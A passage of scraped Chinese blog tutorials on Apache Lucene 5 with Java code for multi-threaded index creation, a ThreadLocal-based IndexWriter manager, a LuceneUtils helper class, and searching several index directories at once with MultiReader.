					return FileVisitResult.CONTINUE;
				}
			});
		} else {
			indexDoc(writer, path,
					Files.getLastModifiedTime(path, new LinkOption[0])
							.toMillis());
		}
	}

	/**
	 * 读取文件创建索引
	 * 
	 * @param writer
	 *            索引写入器
	 * @param file
	 *            文件路径
	 * @param lastModified
	 *            文件最后一次修改时间
	 * @throws IOException
	 */
	public static void indexDoc(IndexWriter writer, Path file, long lastModified)
			throws IOException {
		InputStream stream = Files.newInputStream(file, new OpenOption[0]);
		Document doc = new Document();

		Field pathField = new StringField("path", file.toString(),
				Field.Store.YES);
		doc.add(pathField);

		doc.add(new LongField("modified", lastModified, Field.Store.YES));
		doc.add(new TextField("contents",intputStream2String(stream),Field.Store.YES));
		//doc.add(new TextField("contents", new BufferedReader(new InputStreamReader(stream, StandardCharsets.UTF_8))));

		if (writer.getConfig().getOpenMode() == IndexWriterConfig.OpenMode.CREATE) {
			System.out.println("adding " + file);
			writer.addDocument(doc);
		} else {
			System.out.println("updating " + file);
			writer.updateDocument(new Term("path", file.toString()), doc);
		}
		writer.commit();
	}
	/**
	 * InputStream转换成String
	 * @param is    输入流对象
	 * @return
	 */
	private static String intputStream2String(InputStream is) {
		BufferedReader bufferReader = null;
		StringBuilder stringBuilder = new StringBuilder();
		String line;
		try {
			bufferReader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8));
			while ((line = bufferReader.readLine()) != null) {
				stringBuilder.append(line + "\r\n");
			}
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			if (bufferReader != null) {
				try {
					bufferReader.close();
				} catch (IOException e) {
					e.printStackTrace();
				}
			}
		}
		return stringBuilder.toString();
	}
}

 

package com.yida.framework.lucene5.index;

import java.util.concurrent.CountDownLatch;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

/**
 * 多线程创建索引
 * @author Lanxiaowei
 *
 */
public class MultiThreadIndexTest {
	/**
	 * 创建了5个线程同时创建索引
	 * @param args
	 * @throws InterruptedException 
	 */
	public static void main(String[] args) throws InterruptedException {
		int threadCount = 5;
		ExecutorService pool = Executors.newFixedThreadPool(threadCount);
		CountDownLatch countDownLatch1 = new CountDownLatch(1);
		CountDownLatch countDownLatch2 = new CountDownLatch(threadCount);
		for(int i = 0; i < threadCount; i++) {
			Runnable runnable = new IndexCreator("C:/doc" + (i+1), "C:/lucenedir" + (i+1),threadCount,
					countDownLatch1,countDownLatch2);
			//子线程交给线程池管理
			pool.execute(runnable);
		}
		
		countDownLatch1.countDown();
		System.out.println("开始创建索引");
		//等待所有线程都完成
		countDownLatch2.await();
		//线程全部完成工作
		System.out.println("所有线程都创建索引完毕");
		//释放线程池资源
		pool.shutdown();
	}
}

 上一篇博客 《Lucene5学习之LuceneUtils工具类简单封装》中封装的工具类中获取IndexWriter单例对象有点BUG,我没有把IndexWriter对象跟线程ID关联,所以我这里把我修改后的代码再贴一遍,为我的失误在此给大家道歉,如果还有什么BUG还望大家积极指正,不胜感谢:

package com.yida.framework.lucene5.util;

import java.io.IOException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;

import org.apache.lucene.index.DirectoryReader;
import org.apache.lucene.index.IndexReader;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.LockObtainFailedException;
/**
 * Lucene索引读写器/查询器单例获取工具类
 * @author Lanxiaowei
 *
 */
public class LuceneManager {
	private volatile static LuceneManager singleton;
	
	private volatile static IndexWriter writer;
	
	private volatile static IndexReader reader;
	
	private volatile static IndexSearcher searcher;
	
	private final Lock writerLock = new ReentrantLock();
	
	//private final Lock readerLock = new ReentrantLock();
	
	//private final Lock searcherLock = new ReentrantLock();
	

	private static ThreadLocal<IndexWriter> writerLocal = new ThreadLocal<IndexWriter>();

	private LuceneManager() {}

	public static LuceneManager getInstance() {
		if (null == singleton) {
			synchronized (LuceneManager.class) {
				if (null == singleton) {
					singleton = new LuceneManager();
				}
			}
		}
		return singleton;
	}

	/**
	 * 获取IndexWriter单例对象
	 * @param dir
	 * @param config
	 * @return
	 */
	public IndexWriter getIndexWriter(Directory dir, IndexWriterConfig config) {
		if(null == dir) {
			throw new IllegalArgumentException("Directory can not be null.");
		}
		if(null == config) {
			throw new IllegalArgumentException("IndexWriterConfig can not be null.");
		}
		try {
			writerLock.lock();
			writer = writerLocal.get();
			if(null != writer) {
				return writer;
			}
			if(null == writer){
				//如果索引目录被锁,则直接抛异常
				if(IndexWriter.isLocked(dir)) {
					throw new LockObtainFailedException("Directory of index had been locked.");
				}
				writer = new IndexWriter(dir, config);
				writerLocal.set(writer);
			}
		} catch (LockObtainFailedException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			writerLock.unlock();
		}
		return writer;
	}
	/**
	 * 获取IndexWriter[可能为Null]
	 * @return
	 */
	public IndexWriter getIndexWriter() {
		return writer;
	}
	
	/**
	 * 获取IndexReader对象
	 * @param dir
	 * @param enableNRTReader  是否开启NRTReader
	 * @return
	 */
	public IndexReader getIndexReader(Directory dir,boolean enableNRTReader) {
		if(null == dir) {
			throw new IllegalArgumentException("Directory can not be null.");
		}
		try {
			if(null == reader){
				reader = DirectoryReader.open(dir);
			} else {
				if(enableNRTReader && reader instanceof DirectoryReader) {
					//开启近实时Reader,能立即看到动态添加/删除的索引变化
					reader = DirectoryReader.openIfChanged((DirectoryReader)reader);
				}
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
		return reader;
	}
	
	/**
	 * 获取IndexReader对象(默认不启用NETReader)
	 * @param dir
	 * @return
	 */
	public IndexReader getIndexReader(Directory dir) {
		return getIndexReader(dir, false);
	}
	
	/**
	 * 获取IndexSearcher对象
	 * @param reader    IndexReader对象实例
	 * @param executor  如果你需要开启多线程查询,请提供ExecutorService对象参数
	 * @return
	 */
	public IndexSearcher getIndexSearcher(IndexReader reader,ExecutorService executor) {
		if(null == reader) {
			throw new IllegalArgumentException("The indexReader can not be null.");
		}
		if(null == searcher){
			searcher = new IndexSearcher(reader);
		}
		return searcher;
	}
	/**
	 * 获取IndexSearcher对象(不支持多线程查询)
	 * @param reader    IndexReader对象实例
	 * @return
	 */
	public IndexSearcher getIndexSearcher(IndexReader reader) {
		return getIndexSearcher(reader, null);
	}
	
	/**
	 * 关闭IndexWriter
	 * @param writer
	 */
	public void closeIndexWriter(IndexWriter writer) {
		if(null != writer) {
			try {
				writer.close();
				writer = null;
				writerLocal.remove();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
}

 

package com.yida.framework.lucene5.util;

import java.io.IOException;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Set;
import java.util.concurrent.ExecutorService;

import org.ansj.lucene5.AnsjAnalyzer;
import org.apache.lucene.analysis.Analyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.document.Field;
import org.apache.lucene.document.TextField;
import org.apache.lucene.index.IndexReader;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.index.IndexableField;
import org.apache.lucene.index.Term;
import org.apache.lucene.queryparser.classic.QueryParser;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.search.Query;
import org.apache.lucene.search.ScoreDoc;
import org.apache.lucene.search.TopDocs;
import org.apache.lucene.search.highlight.Formatter;
import org.apache.lucene.search.highlight.Fragmenter;
import org.apache.lucene.search.highlight.Highlighter;
import org.apache.lucene.search.highlight.InvalidTokenOffsetsException;
import org.apache.lucene.search.highlight.QueryScorer;
import org.apache.lucene.search.highlight.Scorer;
import org.apache.lucene.search.highlight.SimpleFragmenter;
import org.apache.lucene.search.highlight.SimpleHTMLFormatter;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.FSDirectory;

/**
 * Lucene工具类(基于Lucene5.0封装)
 * @author Lanxiaowei
 *
 */
public class LuceneUtils {
	private static final LuceneManager luceneManager = LuceneManager.getInstance();
	public static Analyzer analyzer = new AnsjAnalyzer();
	
	/**
	 * 打开索引目录
	 * 
	 * @param luceneDir
	 * @return
	 * @throws IOException
	 */
	public static FSDirectory openFSDirectory(String luceneDir) {
		FSDirectory directory = null;
		try {
			directory = FSDirectory.open(Paths.get(luceneDir));
			/**
			 * 注意:isLocked方法内部会试图去获取Lock,如果获取到Lock,会关闭它,否则return false表示索引目录没有被锁,
			 * 这也就是为什么unlock方法被从IndexWriter类中移除的原因
			 */
			IndexWriter.isLocked(directory);
		} catch (IOException e) {
			e.printStackTrace();
		}
		return directory;
	}
	
	/**
	 * 关闭索引目录并销毁
	 * @param directory
	 * @throws IOException
	 */
	public static void closeDirectory(Directory directory) throws IOException {
		if (null != directory) {
			directory.close();
			directory = null;
		}
	}
	
	/**
	 * 获取IndexWriter
	 * @param dir
	 * @param config
	 * @return
	 */
	public static IndexWriter getIndexWriter(Directory dir, IndexWriterConfig config) {
		return luceneManager.getIndexWriter(dir, config);
	}
	
	/**
	 * 获取IndexWriter
	 * @param dir
	 * @param config
	 * @return
	 */
	public static IndexWriter getIndexWrtier(String directoryPath, IndexWriterConfig config) {
		FSDirectory directory = openFSDirectory(directoryPath);
		return luceneManager.getIndexWriter(directory, config);
	}
	
	/**
	 * 获取IndexReader
	 * @param dir
	 * @param enableNRTReader  是否开启NRTReader
	 * @return
	 */
	public static IndexReader getIndexReader(Directory dir,boolean enableNRTReader) {
		return luceneManager.getIndexReader(dir, enableNRTReader);
	}
	
	/**
	 * 获取IndexReader(默认不启用NRTReader)
	 * @param dir
	 * @return
	 */
	public static IndexReader getIndexReader(Directory dir) {
		return luceneManager.getIndexReader(dir);
	}
	
	/**
	 * 获取IndexSearcher
	 * @param reader    IndexReader对象
	 * @param executor  如果你需要开启多线程查询,请提供ExecutorService对象参数
	 * @return
	 */
	public static IndexSearcher getIndexSearcher(IndexReader reader,ExecutorService executor) {
		return luceneManager.getIndexSearcher(reader, executor);
	}
	
	/**
	 * 获取IndexSearcher(不支持多线程查询)
	 * @param reader    IndexReader对象
	 * @return
	 */
	public static IndexSearcher getIndexSearcher(IndexReader reader) {
		return luceneManager.getIndexSearcher(reader);
	}
	
	/**
	 * 创建QueryParser对象
	 * @param field
	 * @param analyzer
	 * @return
	 */
	public static QueryParser createQueryParser(String field, Analyzer analyzer) {
		return new QueryParser(field, analyzer);
	}
	
	/**
	 * 关闭IndexReader
	 * @param reader
	 */
	public static void closeIndexReader(IndexReader reader) {
		if (null != reader) {
			try {
				reader.close();
				reader = null;
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
	
	/**
	 * 关闭IndexWriter
	 * @param writer
	 */
	public static void closeIndexWriter(IndexWriter writer) {
		luceneManager.closeIndexWriter(writer);
	}
	
	/**
	 * 关闭IndexReader和IndexWriter
	 * @param reader
	 * @param writer
	 */
	public static void closeAll(IndexReader reader, IndexWriter writer) {
		closeIndexReader(reader);
		closeIndexWriter(writer);
	}
	
	/**
	 * 删除索引[注意:请自己关闭IndexWriter对象]
	 * @param writer
	 * @param field
	 * @param value
	 */
	public static void deleteIndex(IndexWriter writer, String field, String value) {
		try {
			writer.deleteDocuments(new Term[] {new Term(field,value)});
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	
	/**
	 * 删除索引[注意:请自己关闭IndexWriter对象]
	 * @param writer
	 * @param query
	 */
	public static void deleteIndex(IndexWriter writer, Query query) {
		try {
			writer.deleteDocuments(query);
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	
	/**
	 * 批量删除索引[注意:请自己关闭IndexWriter对象]
	 * @param writer
	 * @param terms
	 */
	public static void deleteIndexs(IndexWriter writer,Term[] terms) {
		try {
			writer.deleteDocuments(terms);
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	
	/**
	 * 批量删除索引[注意:请自己关闭IndexWriter对象]
	 * @param writer
	 * @param querys
	 */
	public static void deleteIndexs(IndexWriter writer,Query[] querys) {
		try {
			writer.deleteDocuments(querys);
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	
	/**
	 * 删除所有索引文档
	 * @param writer
	 */
	public static void deleteAllIndex(IndexWriter writer) {
		try {
			writer.deleteAll();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	
	/**
	 * 更新索引文档
	 * @param writer
	 * @param term
	 * @param document
	 */
	public static void updateIndex(IndexWriter writer,Term term,Document document) {
		try {
			writer.updateDocument(term, document);
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	
	/**
	 * 更新索引文档
	 * @param writer
	 * @param term
	 * @param document
	 */
	public static void updateIndex(IndexWriter writer,String field,String value,Document document) {
		updateIndex(writer, new Term(field, value), document);
	}
	
	/**
	 * 添加索引文档
	 * @param writer
	 * @param doc
	 */
	public static void addIndex(IndexWriter writer, Document document) {
		updateIndex(writer, null, document);
	}
	
	/**
	 * 索引文档查询
	 * @param searcher
	 * @param query
	 * @return
	 */
	public static List<Document> query(IndexSearcher searcher,Query query) {
		TopDocs topDocs = null;
		try {
			topDocs = searcher.search(query, Integer.MAX_VALUE);
		} catch (IOException e) {
			e.printStackTrace();
		}
		ScoreDoc[] scores = topDocs.scoreDocs;
		int length = scores.length;
		if (length <= 0) {
			return Collections.emptyList();
		}
		List<Document> docList = new ArrayList<Document>();
		try {
			for (int i = 0; i < length; i++) {
				Document doc = searcher.doc(scores[i].doc);
				docList.add(doc);
			}
		} catch (IOException e) {
			e.printStackTrace();
		}
		return docList;
	}
	/**
	 * 返回索引文档的总数[注意:请自己手动关闭IndexReader]
	 * @param reader
	 * @return
	 */
	public static int getIndexTotalCount(IndexReader reader) {
		return reader.numDocs();
	}
	
	/**
	 * 返回索引文档中最大文档ID[注意:请自己手动关闭IndexReader]
	 * @param reader
	 * @return
	 */
	public static int getMaxDocId(IndexReader reader) {
		return reader.maxDoc();
	}
	
	/**
	 * 返回已经删除尚未提交的文档总数[注意:请自己手动关闭IndexReader]
	 * @param reader
	 * @return
	 */
	public static int getDeletedDocNum(IndexReader reader) {
		return getMaxDocId(reader) - getIndexTotalCount(reader);
	}
	
	/**
	 * 根据docId查询索引文档
	 * @param reader         IndexReader对象
	 * @param docID          documentId
	 * @param fieldsToLoad   需要返回的field
	 * @return
	 */
	public static Document findDocumentByDocId(IndexReader reader,int docID, Set<String> fieldsToLoad) {
		try {
			return reader.document(docID, fieldsToLoad);
		} catch (IOException e) {
			return null;
		}
	}
	/**
	 * 根据docId查询索引文档
	 * @param reader         IndexReader对象
	 * @param docID          documentId
	 * @return
	 */
	public static Document findDocumentByDocId(IndexReader reader,int docID) {
		return findDocumentByDocId(reader, docID, null);
	}
	
	/**
	 * @Title: createHighlighter
	 * @Description: 创建高亮器
	 * @param query             索引查询对象
	 * @param prefix            高亮前缀字符串
	 * @param stuffix           高亮后缀字符串
	 * @param fragmenterLength  摘要最大长度
	 * @return
	 */
	public static Highlighter createHighlighter(Query query, String prefix, String stuffix, int fragmenterLength) {
		Formatter formatter = new SimpleHTMLFormatter((prefix == null || prefix.trim().length() == 0) ? 
			"<font color=\"red\">" : prefix, (stuffix == null || stuffix.trim().length() == 0)?"</font>" : stuffix);
		Scorer fragmentScorer = new QueryScorer(query);
		Highlighter highlighter = new Highlighter(formatter, fragmentScorer);
		Fragmenter fragmenter = new SimpleFragmenter(fragmenterLength <= 0 ? 50 : fragmenterLength);
		highlighter.setTextFragmenter(fragmenter);
		return highlighter;
	}
	/**
	 * @Title: highlight
	 * @Description: 生成高亮文本
	 * @param document          索引文档对象
	 * @param highlighter       高亮器
	 * @param analyzer          索引分词器
	 * @param field             高亮字段
	 * @return
	 * @throws IOException
	 * @throws InvalidTokenOffsetsException
	 */
	public static String highlight(Document document,Highlighter highlighter,Analyzer analyzer,String field) throws IOException {
		List<IndexableField> list = document.getFields();
		for (IndexableField fieldable : list) {
			String fieldValue = fieldable.stringValue();
			if(fieldable.name().equals(field)) {
				try {
					fieldValue = highlighter.getBestFragment(analyzer, field, fieldValue);
				} catch (InvalidTokenOffsetsException e) {
					fieldValue = fieldable.stringValue();
				}
				return (fieldValue == null || fieldValue.trim().length() == 0)? fieldable.stringValue() : fieldValue;
			}
		}
		return null;
	}
	/**
	 * @Title: searchTotalRecord
	 * @Description: 获取符合条件的总记录数
	 * @param query
	 * @return
	 * @throws IOException
	 */
	public static int searchTotalRecord(IndexSearcher search,Query query) {
		ScoreDoc[] docs = null;
		try {
			TopDocs topDocs = search.search(query, Integer.MAX_VALUE);
			if(topDocs == null || topDocs.scoreDocs == null || topDocs.scoreDocs.length == 0) {
				return 0;
			}
			docs = topDocs.scoreDocs;
		} catch (IOException e) {
			e.printStackTrace();
		}
		return docs.length;
	}
	
	/**
	 * @Title: pageQuery
	 * @Description: Lucene分页查询
	 * @param searcher
	 * @param query
	 * @param page
	 * @throws IOException
	 */
	public static void pageQuery(IndexSearcher searcher,Directory directory,Query query,Page<Document> page) {
		int totalRecord = searchTotalRecord(searcher,query);
		//设置总记录数
		page.setTotalRecord(totalRecord);
		TopDocs topDocs = null;
		try {
			topDocs = searcher.searchAfter(page.getAfterDoc(),query, page.getPageSize());
		} catch (IOException e) {
			e.printStackTrace();
		}
		List<Document> docList = new ArrayList<Document>();
		ScoreDoc[] docs = topDocs.scoreDocs;
		int index = 0;
		for (ScoreDoc scoreDoc : docs) {
			int docID = scoreDoc.doc;
			Document document = null;
			try {
				document = searcher.doc(docID);
			} catch (IOException e) {
				e.printStackTrace();
			}
			if(index == docs.length - 1) {
				page.setAfterDoc(scoreDoc);
				page.setAfterDocId(docID);
			}
			docList.add(document);
			index++;
		}
		page.setItems(docList);
		closeIndexReader(searcher.getIndexReader());
	}
	/**
	 * @Title: pageQuery
	 * @Description: 分页查询[如果设置了高亮,则会更新索引文档]
	 * @param searcher
	 * @param directory
	 * @param query
	 * @param page
	 * @param highlighterParam
	 * @param writerConfig
	 * @throws IOException
	 */
	public static void pageQuery(IndexSearcher searcher,Directory directory,Query query,Page<Document> page,HighlighterParam highlighterParam,IndexWriterConfig writerConfig) throws IOException {
		IndexWriter writer = null;
		//若未设置高亮
		if(null == highlighterParam || !highlighterParam.isHighlight()) {
			pageQuery(searcher,directory,query, page);
		} else {
			int totalRecord = searchTotalRecord(searcher,query);
			System.out.println("totalRecord:" + totalRecord);
			//设置总记录数
			page.setTotalRecord(totalRecord);
			TopDocs topDocs = searcher.searchAfter(page.getAfterDoc(),query, page.getPageSize());
			List<Document> docList = new ArrayList<Document>();
			ScoreDoc[] docs = topDocs.scoreDocs;
			int index = 0;
			writer = getIndexWriter(directory, writerConfig);
			for (ScoreDoc scoreDoc : docs) {
				int docID = scoreDoc.doc;
				Document document = searcher.doc(docID);
				String content = document.get(highlighterParam.getFieldName());
				if(null != content && content.trim().length() > 0) {
					//创建高亮器
					Highlighter highlighter = LuceneUtils.createHighlighter(query, 
						highlighterParam.getPrefix(), highlighterParam.getStuffix(), 
						highlighterParam.getFragmenterLength());
					String text = highlight(document, highlighter, analyzer, highlighterParam.getFieldName());
					//若高亮后跟原始文本不相同,表示高亮成功
					if(!text.equals(content)) {
						Document tempdocument = new Document();
						List<IndexableField> indexableFieldList = document.getFields();
						if(null != indexableFieldList && indexableFieldList.size() > 0) {
							for(IndexableField field : indexableFieldList) {
								if(field.name().equals(highlighterParam.getFieldName())) {
									tempdocument.add(new TextField(field.name(), text, Field.Store.YES));
								} else {
									tempdocument.add(field);
								}
							}
						}
						updateIndex(writer, new Term(highlighterParam.getFieldName(),content), tempdocument);
						document = tempdocument;
					}
				}
				if(index == docs.length - 1) {
					page.setAfterDoc(scoreDoc);
					page.setAfterDocId(docID);
				}
				docList.add(document);
				index++;
			}
			page.setItems(docList);
		}
		closeIndexReader(searcher.getIndexReader());
		closeIndexWriter(writer);
	}
}

 demo源码我会在最底下的附件里上传,有需要的请自己下载。demo代码运行时请先在C盘建5个文件夹放需要读取的文件,建5个文件夹分别存储索引文件,如图:


 

 

OK,为了这篇博客已经耗时整整1个小时了,打完收工!下一篇准备说说如何多索引目录多线程查询,敬请期待吧!

 

   如果你还有什么问题请加我Q-Q:7-3-6-0-3-1-3-0-5,

或者加裙
一起交流学习!





已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Lucene5学习之多索引目录查询以及多线程查询

$
0
0

     上一篇中我们使用多线程创建了索引,下面我们来试着采用不把多个索引目录里的数据合并到一个新的索引目录的方式去查询索引数据,当然你也可以合并(合并到一个索引目录查询就很简单了),其实很多情况我们都是不合并到一个索引目录的,那多索引目录该如何查询呢,在Lucene5中使用的MultiReader类,在Lucene4时代,使用的是MultiSearcher类。至于Lucene多线程查询,只需要在构建IndexSearcher对象时传入一个ExecutorService线程池管理对象即可,具体请看下面贴出的示例代码:

package com.yida.framework.lucene5.index;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;

import org.apache.lucene.document.Document;
import org.apache.lucene.index.DirectoryReader;
import org.apache.lucene.index.IndexReader;
import org.apache.lucene.index.MultiReader;
import org.apache.lucene.index.Term;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.search.Query;
import org.apache.lucene.search.TermQuery;
import org.apache.lucene.store.Directory;

import com.yida.framework.lucene5.util.LuceneUtils;

/**
 * 多线程多索引目录查询测试
 * @author Lanxiaowei
 *
 */
public class MultiThreadSearchTest {
	public static void main(String[] args) throws InterruptedException, ExecutionException, IOException {
		//每个线程都从5个索引目录中查询,所以最终5个线程的查询结果都一样
		//multiThreadAndMultiReaderSearch();
		
		//多索引目录查询(把多个索引目录当作一个索引目录)
		multiReaderSearch();
	}
	
	/**
	 * 多索引目录查询
	 * @throws InterruptedException
	 * @throws ExecutionException
	 * @throws IOException
	 */
	public static void multiReaderSearch()  throws InterruptedException, ExecutionException, IOException {
		Directory directory1 = LuceneUtils.openFSDirectory("C:/lucenedir1");
		Directory directory2 = LuceneUtils.openFSDirectory("C:/lucenedir2");
		Directory directory3 = LuceneUtils.openFSDirectory("C:/lucenedir3");
		Directory directory4 = LuceneUtils.openFSDirectory("C:/lucenedir4");
		Directory directory5 = LuceneUtils.openFSDirectory("C:/lucenedir5");
		IndexReader reader1 = DirectoryReader.open(directory1);
		IndexReader reader2 = DirectoryReader.open(directory2);
		IndexReader reader3 = DirectoryReader.open(directory3);
		IndexReader reader4 = DirectoryReader.open(directory4);
		IndexReader reader5 = DirectoryReader.open(directory5);
		MultiReader multiReader = new MultiReader(reader1,reader2,reader3,reader4,reader5);
		IndexSearcher indexSearcher = LuceneUtils.getIndexSearcher(multiReader);
		Query query = new TermQuery(new Term("contents","volatile"));
		List<Document> list = LuceneUtils.query(indexSearcher, query);
		if(null == list || list.size() <= 0) {
			System.out.println("No results.");
			return;
		}
		for(Document doc : list) {
			String path = doc.get("path");
			//String content = doc.get("contents");
			System.out.println("path:" + path);
			//System.out.println("contents:" + content);
		}
	}
	/**
	 * 多索引目录且多线程查询,异步收集查询结果
	 * @throws InterruptedException
	 * @throws ExecutionException
	 * @throws IOException
	 */
	public static void multiThreadAndMultiReaderSearch()  throws InterruptedException, ExecutionException, IOException {
		int count = 5;
		ExecutorService pool = Executors.newFixedThreadPool(count);
		
		Directory directory1 = LuceneUtils.openFSDirectory("C:/lucenedir1");
		Directory directory2 = LuceneUtils.openFSDirectory("C:/lucenedir2");
		Directory directory3 = LuceneUtils.openFSDirectory("C:/lucenedir3");
		Directory directory4 = LuceneUtils.openFSDirectory("C:/lucenedir4");
		Directory directory5 = LuceneUtils.openFSDirectory("C:/lucenedir5");
		IndexReader reader1 = DirectoryReader.open(directory1);
		IndexReader reader2 = DirectoryReader.open(directory2);
		IndexReader reader3 = DirectoryReader.open(directory3);
		IndexReader reader4 = DirectoryReader.open(directory4);
		IndexReader reader5 = DirectoryReader.open(directory5);
		MultiReader multiReader = new MultiReader(reader1,reader2,reader3,reader4,reader5);
		final IndexSearcher indexSearcher = LuceneUtils.getIndexSearcher(multiReader, pool);
		final Query query = new TermQuery(new Term("contents","volatile"));
		List<Future<List<Document>>> futures = new ArrayList<Future<List<Document>>>(count);
		for (int i = 0; i < count; i++) {
			futures.add(pool.submit(new Callable<List<Document>>() {
				public List<Document> call() throws Exception {
					return LuceneUtils.query(indexSearcher, query);
				}
			}));
		}
		int t = 0;
		//通过Future异步获取线程执行后返回的结果
		for (Future<List<Document>> future : futures) {
			List<Document> list = future.get();
			if(null == list || list.size() <= 0) {
				t++;
				continue;
			}
			for(Document doc : list) {
				String path = doc.get("path");
				//String content = doc.get("contents");
				System.out.println("path:" + path);
				//System.out.println("contents:" + content);
			}
			System.out.println("");
		}
		//释放线程池资源
		pool.shutdown();
		
		if(t == count) {
			System.out.println("No results.");
		}
	}
}

当然你也可以把上面的代码改造成每个线程查询一个索引目录,我上面是每个线程都从5个索引目录中查询,所以结果会打印5次,看到运行结果请不要感到奇怪。

 

如果你还有什么问题请加我Q-Q:7-3-6-0-3-1-3-0-5,

或者加裙
一起交流学习!



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Viewing all 11804 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>